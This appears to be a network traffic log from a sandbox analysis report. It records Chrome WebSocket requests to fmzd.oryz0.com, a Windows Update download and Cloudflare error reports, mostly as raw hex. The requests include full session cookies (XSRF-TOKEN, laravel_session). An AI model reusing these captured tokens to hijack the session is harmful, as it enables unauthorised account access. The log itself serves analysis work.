2024-05-23 08:31:39 UTC	711	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 09 8e 00 00 03 83 08 06 00 00 00 11 c6 07 ce 00 00 20 00 49 44 41 54 78 01 ec dd cf 71 e3 c6 b6 07 e0 09 c1 21 38 04 6f 6e 95 97 13 c2 ac df 7b 0b 87 a0 12 34 7b ef ef 7b 55 0a 41 21 78 e7 ed 84 a0 10 74 33 50 06 7e d5 53 38 36 0d 13 10 4e 13 7f 1a e0 37 55 53 4d 89 0d 10 f8 70 9a 22 1b 3f 82 9f 3e f9 47 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 Data Ascii: PNGIHDR IDATxq!8on{4{{UA!xt3P~S86N7USMp"?>G @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-05-23 08:31:39 UTC	1369	IN	Data Raw: 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-05-23 08:31:39 UTC	1369	IN	Data Raw: 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-05-23 08:31:39 UTC	1369	IN	Data Raw: 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-05-23 08:31:39 UTC	1369	IN	Data Raw: 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-05-23 08:31:39 UTC	1369	IN	Data Raw: 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-05-23 08:31:39 UTC	1369	IN	Data Raw: 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-05-23 08:31:39 UTC	1369	IN	Data Raw: 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-05-23 08:31:39 UTC	1369	IN	Data Raw: 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-05-23 08:31:39 UTC	1369	IN	Data Raw: 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.4	49817	104.21.52.56	443	4548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 08:31:40 UTC	1281	OUT	GET /web8socket/socket.io/?type=User&appnum=1&EIO=4&transport=websocket HTTP/1.1 Host: fmzd.oryz0.com Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Upgrade: websocket Origin: https://fmzd.oryz0.com Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlI0eVdROStza0twa3h3SnlaZWhoZ1E9PSIsInZhbHVlIjoiVWg3bHBKQUc5UXRHVUJ4bEJnMVFmY0dkcHA2NVBwVW5aRlp0d0pDUkpQWmpKMlBDWVNVNWhhckZKQ2VlcUlzclhHTnFXVkpYa1RSdFcxZmJ1UlhuS2tqUkE2WnFRUEEwUUh3SHhMZmZROHNFc0lsVjM0Qm9IMFRLcEFyRHJBQzAiLCJtYWMiOiJiZmJkOGE2N2M3MDM5YjNjM2ZkMmUwZTA5OWJjNmE4NjgwOGE0YjQ5YzEyMjAyODNiZjhjNTlkNGVkMGM1MTkzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkgzNmpUYUx3RytxT1dTS2pXMlQydkE9PSIsInZhbHVlIjoiL25oS2RDeERMVkJuY2RjY0VSU0FpMTZqcS9MdEtYZFZ4RE0vNVR4ZkJWTHRqT2lyVSt1SW1na3YxMkFYUGtMSk45bnhSYTVSc3ZSQnJ5dEdlQk9NSVl1UGhVeDVoaXkwRk5CR254Z1dBODdyR1lrVEwxYkFkeTVPemhNL1Z6M28iLCJtYWMiOiIzNmYxZGMwMTdjZjM0NGMzNjg5ZGE5NzRkZTIwNTA2NmRjNzg0ZmVjMDZmYjY0Mzk4NjU0MWZkYWEyMmMyYzQyIiwidGFnIjoiIn0%3D Sec-WebSocket-Key: LVFz4gN0nJWH0gZHuYmRDQ== Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
2024-05-23 08:31:40 UTC	581	IN	HTTP/1.1 400 Bad Request Date: Thu, 23 May 2024 08:31:40 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CHhLpeVMQI%2B2agI%2BLa5IuR2KuPqGxBsBWT4pW9CucRmtEYzNe%2Bqj3iQM9WyVuycXWurRVqqu4p2%2B1fslHIarIDl0FlwyH1nOQ5%2BJerOKyRuxldyDAMxIKdu2mdfEljQQlQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8883b0e56f1a5e6c-EWR alt-svc: h3=":443"; ma=86400
2024-05-23 08:31:40 UTC	40	IN	Data Raw: 32 32 0d 0a 7b 22 63 6f 64 65 22 3a 33 2c 22 6d 65 73 73 61 67 65 22 3a 22 42 61 64 20 72 65 71 75 65 73 74 22 7d 0d 0a Data Ascii: 22{"code":3,"message":"Bad request"}
2024-05-23 08:31:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.4	49818	20.12.23.50	443

Timestamp	Bytes transferred	Direction	Data
2024-05-23 08:31:44 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=EyWPgkl6brmHmv3&MD=UKBhH+X2 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-05-23 08:31:44 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "Mx1RoJH/qEwpWfKllx7sbsl28AuERz5IYdcsvtTJcgM=_1440" MS-CorrelationId: 34d75d82-d30f-4d81-8521-2a655821666c MS-RequestId: 3fa8ba5f-7ae7-4902-a8e6-38e1116191f0 MS-CV: 4RCWBz6rEUCNEWrU.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Thu, 23 May 2024 08:31:44 GMT Connection: close Content-Length: 25457
2024-05-23 08:31:44 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 51 22 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 db 8e 00 00 14 00 00 00 00 00 10 00 51 22 00 00 20 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 f3 43 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 0d 92 6f db e5 21 f3 43 43 4b ed 5a 09 38 55 5b df 3f 93 99 90 29 99 e7 29 ec 73 cc 4a 66 32 cf 84 32 64 c8 31 c7 11 52 38 87 90 42 66 09 99 87 32 0f 19 0a 09 51 a6 a8 08 29 53 86 4a 52 84 50 df 46 83 ba dd 7b df fb 7e ef 7d ee 7d bf ef 9e e7 d9 67 ef 35 ee b5 fe eb 3f ff b6 96 81 a2 0a 04 fc 31 40 21 5b 3f a5 ed 1b 04 0e 85 42 a0 10 04 64 12 6c a5 de aa a1 d8 ea f3 58 01 f2 f5 67 0b 5e 9b bd e8 a0 90 1d bf 40 88 9d eb 49 b4 87 9b ab 8b 9d 2b 46 c8 c7 c5 19 92 Data Ascii: MSCFQ"DQ" AdCenvironment.cabo!CCKZ8U[?))sJf22d1R8Bf2Q)SJRPF{~}}g5?1@![?BdlXg^@I+F
2024-05-23 08:31:44 UTC	9633	IN	Data Raw: 21 6f b3 eb a6 cc f5 31 be cf 05 e2 a9 fe fa 57 6d 19 30 b3 c2 c5 66 c9 6a df f5 e7 f0 78 bd c7 a8 9e 25 e3 f9 bc ed 6b 54 57 08 2b 51 82 44 12 fb b9 53 8c cc f4 60 12 8a 76 cc 40 40 41 9b dc 5c 17 ff 5c f9 5e 17 35 98 24 56 4b 74 ef 42 10 c8 af bf 7f c6 7f f2 37 7d 5a 3f 1c f2 99 79 4a 91 52 00 af 38 0f 17 f5 2f 79 81 65 d9 a9 b5 6b e4 c7 ce f6 ca 7a 00 6f 4b 30 44 24 22 3c cf ed 03 a5 96 8f 59 29 bc b6 fd 04 e1 70 9f 32 4a 27 fd 55 af 2f fe b6 e5 8e 33 bb 62 5f 9a db 57 40 e9 f1 ce 99 66 90 8c ff 6a 62 7f dd c5 4a 0b 91 26 e2 39 ec 19 4a 71 63 9d 7b 21 6d c3 9c a3 a2 3c fa 7f 7d 96 6a 90 78 a6 6d d2 e1 9c f9 1d fc 38 d8 94 f4 c6 a5 0a 96 86 a4 bd 9e 1a ae 04 42 83 b8 b5 80 9b 22 38 20 b5 25 e5 64 ec f7 f4 bf 7e 63 59 25 0f 7a 2e 39 57 76 a2 71 aa 06 8a Data Ascii: !o1Wm0fjx%kTW+QDS`v@@A\\^5$VKtB7}Z?yJR8/yekzoK0D$"<Y)p2J'U/3b_W@fjbJ&9Jqc{!m<}jxm8B"8 %d~cY%z.9Wvq

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.4	49820	104.21.52.56	443	4548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 08:31:52 UTC	1281	OUT	GET /web8socket/socket.io/?type=User&appnum=1&EIO=4&transport=websocket HTTP/1.1 Host: fmzd.oryz0.com Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Upgrade: websocket Origin: https://fmzd.oryz0.com Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlI0eVdROStza0twa3h3SnlaZWhoZ1E9PSIsInZhbHVlIjoiVWg3bHBKQUc5UXRHVUJ4bEJnMVFmY0dkcHA2NVBwVW5aRlp0d0pDUkpQWmpKMlBDWVNVNWhhckZKQ2VlcUlzclhHTnFXVkpYa1RSdFcxZmJ1UlhuS2tqUkE2WnFRUEEwUUh3SHhMZmZROHNFc0lsVjM0Qm9IMFRLcEFyRHJBQzAiLCJtYWMiOiJiZmJkOGE2N2M3MDM5YjNjM2ZkMmUwZTA5OWJjNmE4NjgwOGE0YjQ5YzEyMjAyODNiZjhjNTlkNGVkMGM1MTkzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkgzNmpUYUx3RytxT1dTS2pXMlQydkE9PSIsInZhbHVlIjoiL25oS2RDeERMVkJuY2RjY0VSU0FpMTZqcS9MdEtYZFZ4RE0vNVR4ZkJWTHRqT2lyVSt1SW1na3YxMkFYUGtMSk45bnhSYTVSc3ZSQnJ5dEdlQk9NSVl1UGhVeDVoaXkwRk5CR254Z1dBODdyR1lrVEwxYkFkeTVPemhNL1Z6M28iLCJtYWMiOiIzNmYxZGMwMTdjZjM0NGMzNjg5ZGE5NzRkZTIwNTA2NmRjNzg0ZmVjMDZmYjY0Mzk4NjU0MWZkYWEyMmMyYzQyIiwidGFnIjoiIn0%3D Sec-WebSocket-Key: 5CVdjiHE5TscPz1QUcVh6Q== Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
2024-05-23 08:31:53 UTC	575	IN	HTTP/1.1 400 Bad Request Date: Thu, 23 May 2024 08:31:52 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FfrClndg945NHaEOPqYqhGvY68Mq%2FPBOoPDHlU4QP8BFDzBt%2FF6sV1rI99svdEw04pGvHVL307Ti2gM7BDBe5AYKb5pyaiOZ9lvD4LnwSSvr1KDmW8HRkNiCbD6XTNNHxA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8883b130ca678c0c-EWR alt-svc: h3=":443"; ma=86400
2024-05-23 08:31:53 UTC	40	IN	Data Raw: 32 32 0d 0a 7b 22 63 6f 64 65 22 3a 33 2c 22 6d 65 73 73 61 67 65 22 3a 22 42 61 64 20 72 65 71 75 65 73 74 22 7d 0d 0a Data Ascii: 22{"code":3,"message":"Bad request"}
2024-05-23 08:31:53 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.4	49823	104.21.52.56	443	4548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 08:32:12 UTC	1281	OUT	GET /web8socket/socket.io/?type=User&appnum=1&EIO=4&transport=websocket HTTP/1.1 Host: fmzd.oryz0.com Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Upgrade: websocket Origin: https://fmzd.oryz0.com Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlI0eVdROStza0twa3h3SnlaZWhoZ1E9PSIsInZhbHVlIjoiVWg3bHBKQUc5UXRHVUJ4bEJnMVFmY0dkcHA2NVBwVW5aRlp0d0pDUkpQWmpKMlBDWVNVNWhhckZKQ2VlcUlzclhHTnFXVkpYa1RSdFcxZmJ1UlhuS2tqUkE2WnFRUEEwUUh3SHhMZmZROHNFc0lsVjM0Qm9IMFRLcEFyRHJBQzAiLCJtYWMiOiJiZmJkOGE2N2M3MDM5YjNjM2ZkMmUwZTA5OWJjNmE4NjgwOGE0YjQ5YzEyMjAyODNiZjhjNTlkNGVkMGM1MTkzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkgzNmpUYUx3RytxT1dTS2pXMlQydkE9PSIsInZhbHVlIjoiL25oS2RDeERMVkJuY2RjY0VSU0FpMTZqcS9MdEtYZFZ4RE0vNVR4ZkJWTHRqT2lyVSt1SW1na3YxMkFYUGtMSk45bnhSYTVSc3ZSQnJ5dEdlQk9NSVl1UGhVeDVoaXkwRk5CR254Z1dBODdyR1lrVEwxYkFkeTVPemhNL1Z6M28iLCJtYWMiOiIzNmYxZGMwMTdjZjM0NGMzNjg5ZGE5NzRkZTIwNTA2NmRjNzg0ZmVjMDZmYjY0Mzk4NjU0MWZkYWEyMmMyYzQyIiwidGFnIjoiIn0%3D Sec-WebSocket-Key: jj7u4HtOOc304gKqN10njw== Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
2024-05-23 08:32:12 UTC	579	IN	HTTP/1.1 400 Bad Request Date: Thu, 23 May 2024 08:32:12 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FMT8G6Gc4Kb8EJMI0LFxvxybolkUcOcgXvlzfCoNOERRSBuQhBy4z0yuHukwl5O%2BX%2Fg%2BUIz3LeR7IdyOZzOOztS6Wnh06rd24M83zy4fXfADmoKii8TteSD2kz8xO%2BHJdA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8883b1abfbdf182d-EWR alt-svc: h3=":443"; ma=86400
2024-05-23 08:32:12 UTC	40	IN	Data Raw: 32 32 0d 0a 7b 22 63 6f 64 65 22 3a 33 2c 22 6d 65 73 73 61 67 65 22 3a 22 42 61 64 20 72 65 71 75 65 73 74 22 7d 0d 0a Data Ascii: 22{"code":3,"message":"Bad request"}
2024-05-23 08:32:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.4	49825	35.190.80.1	443	4548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 08:32:31 UTC	531	OUT	OPTIONS /report/v4?s=tBSvMSdDT5FO4oEV5EL%2BBLxvvBJ5jz0ZYbrjr1cOsnzMVpVXFuHgpSQSccf1QcDnfuyjAKfimaU5OUPQ5KBoqEXhcyNciE8gm0NYIP5kng%2BF6hMOfkAdkS3syWYXOA%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://fmzd.oryz0.com Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 08:32:31 UTC	336	IN	HTTP/1.1 200 OK content-length: 0 access-control-max-age: 86400 access-control-allow-methods: OPTIONS, POST access-control-allow-origin: * access-control-allow-headers: content-length, content-type date: Thu, 23 May 2024 08:32:30 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.4	49826	35.190.80.1	443	4548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 08:32:31 UTC	474	OUT	POST /report/v4?s=tBSvMSdDT5FO4oEV5EL%2BBLxvvBJ5jz0ZYbrjr1cOsnzMVpVXFuHgpSQSccf1QcDnfuyjAKfimaU5OUPQ5KBoqEXhcyNciE8gm0NYIP5kng%2BF6hMOfkAdkS3syWYXOA%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 446 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 08:32:31 UTC	446	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 35 33 32 37 31 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 31 30 38 35 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 37 32 2e 36 37 2e 31 39 35 2e 32 34 31 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 34 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 